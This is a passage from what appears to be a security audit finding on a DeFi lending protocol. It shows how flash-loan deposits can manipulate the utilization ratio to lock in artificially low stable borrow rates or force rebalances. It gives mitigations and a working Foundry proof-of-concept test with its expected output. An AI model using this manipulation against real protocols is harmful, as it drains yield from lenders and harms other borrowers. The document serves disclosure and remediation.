This value is only updated when the function HubPoolLogic.updateInterestRates() is called generally at the end of each transaction that changes the state of a pool. For the example that is interesting for us it is called at the end of updateWithDeposi()
The stable rate is calculated using the curent utilization rate, which could be lowered simply through depositing large amounts of collateral or inflated by increasing debt (this could be used to force stable borrower to pay more rates by calling rebalanceUp() after attack to gain more yield as depositors)
As we can see the new calculation relays heavily on the current utilization ratio that relies on current total deposited amounts. This opens up the attack vectors for users to manipulating the utilization through large deposits right before locking themselves into a stable position
please also note, the attackers could also simply manipulate the borrowrate to near the rebalanceUpThreshold or rebalanceDownThreshold so no one could call it and even if position get's rebalanced. Attackers could repeat same attack to get the desired lower borrow rate.
Impact
We have found two major impacts, that caused by either manipulating rates up or down:
Attackers could manipulate the stable borrow rate, to pay less interest rates which leads to a loss of yield for the protocol and the liquidity providers (lenders) and allow lenders to borrow at a disavantageous rate then the current market conditions
Attackers could flashloan assets then borrow a large percentage, use the inflated stableRate to call rebalanceUp() on stableborrows, to force borrowers into inflated rates. This could be abused if the attacker has enough liquidity there to benefit from increase yield
Recomendation
To mitigate this issue, similar protocols that offer both variable and stable rates rely on time averaged total deposits + total debts in order to calculate the stable rates. Another possible fix is to block same block deposits and withdrawals, this however wouldn't protect against the case when the liquidity used for the manipulation is bootstrapped by a whale account
Proof of concept
Proof Of Concept
We have provide a coded proof of concept for the first scenario, the second scenario is also the same because it has same root cause (stable rate calculation relies on spot data, which is manipulatable through flash actions) The attacker wants to borrow USDC at a lowered intersest rate:
• Attacker prepares a large amount of collateral tokens for his intended borrow
• Attacker takes out a flash loan for USDC (or simply an amount he have if he is a whale) and deposit it to the usdc hubpool (in the hub chain so it can be in same transaction)
• This deposit into the lending pool, artificially lowers the utilization ratio, and as a consequence lowers the stable borrow rate
• Immediately after depositing, attacker takes out a stable rate loan, locking in the artificially low interest rate
• Attacker repays the flash loan
• Attacker now has a stable rate loan at a much lower interest rate than should be available based on true utilization
• Attacker can repeat this process to continually refinance at artificially low rates (if after some time he gets rebalanced)
For the coded Poc, please follow the following steps: first create the first file: test/pocs/base_test.sol
then please add the file that includes the poc to test/pocs/manipulateStableRatePoC.sol
// SPDX-License-Identifier: UNLICENSEDpragmasolidity ^0.8.19;import"./base_test.sol";import"@forge-std/console.sol";contractPocsisbaseTest {function_getStableRateUsdc() internalreturns (uint256) { HubPoolState.StableBorrowData memory stableData = hubPoolUsdc.getStableBorrowData();return stableData.interestRate; }functiontest_ManipulateStableBorrowRateThrough() public {// initialize caps vm.startPrank(LISTING_ROLE); loanManager.updateLoanPoolCaps(1, hubPoolUsdc.getPoolId(),100000e6,10000e6); hubPoolUsdc.updateCapsData(HubPoolState.CapsData(type(uint64).max, type(uint64).max,1e18)); loanManager.updateLoanPoolCaps(2, hubPoolUsdc.getPoolId(),100000e6,10000e6); vm.stopPrank();// initialize pool with variable borrowsuint256 bobDeposit =20000e6; // 20 USDC_approveUsdc(bob,address(spokeUsdc), bobDeposit);_deposit(bob, bobAccountId, bobLoanIds[0], bobDeposit, spokeUsdc);_borrowVariable(bob, bobAccountId, bobLoanIds[0], hubPoolUsdc.getPoolId(),10000e6); vm.warp(block.timestamp +2weeks); console.log("POOL + Borrows initialized + time has passed");// console.log("Initial borrowstableRate of pool :",_getStableRateUsdc());// @audit deposit large amount, for example using flash loanuint256 largeUsdcDeposit =100000e6; // 1 million USDC_approveUsdc(alice,address(spokeUsdc), largeUsdcDeposit);_deposit(alice, aliceAccountId, aliceLoanIds[0], largeUsdcDeposit, spokeUsdc); console.log("Start Attack by performing large USDC deposit through flashLoan"); console.log("borrowstableRate after deposit :",_getStableRateUsdc()); console.log("start the stable borrow");// Deposit avax as coll for alice_depositAvax(alice, aliceAccountId, aliceLoanIds[0],2000e18);// Perform a stable borrow of 1000 USDCuint256 stableBorrowAmount =1000e6; // 1000 USDCuint256 maxStableRate =1e18; // Adjust as needed_borrowStable( alice, aliceAccountId, aliceLoanIds[0], hubPoolUsdc.getPoolId(), stableBorrowAmount,_getStableRateUsdc() *2 ); (bytes32 accountId,uint16 loanTypeId,uint8[] memory colPools,uint8[] memory borPools, LoanManagerState.UserLoanCollateral[] memory colls, LoanManagerState.UserLoanBorrow[] memory borrows ) = loanManager.getUserLoan(aliceLoanIds[0]); console.log("borrowstableRate of loan :", borrows[0].stableInterestRate);// Attacker now withdraws the excess large liquidity he deposited to manipulate utilization ratio// Withdraw the large USDC deposit_withdraw(alice, aliceAccountId, aliceLoanIds[0], hubPoolUsdc.getPoolId(), largeUsdcDeposit,false); console.log("Stable USDC rate after withdrawal:",_getStableRateUsdc()); }}
to execute the poc, please run forge test --mt test_ManipulateStableBorrowRateThrough -vvv This is the expected result, after running the poc, in a terminal
Ran 1 test for test/pocs/manipulateStableRatePoC.sol:Pocs[PASS] test_ManipulateStableBorrowRateThrough() (gas: 2824202)Logs: POOL + Borrows initialized + time has passed Initial borrowstableRate of pool : 80996227465354582 Start Attack by performing large USDC deposit through flashLoan borrowstableRate after deposit : 72118961254591337 start the stable borrow borrowstableRate of loan : 72118961254591337 Stable USDC rate after withdrawal: 81981978627936564Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 513.01ms (16.62ms CPU time)Ran 1 test suite in 516.42ms (513.01ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)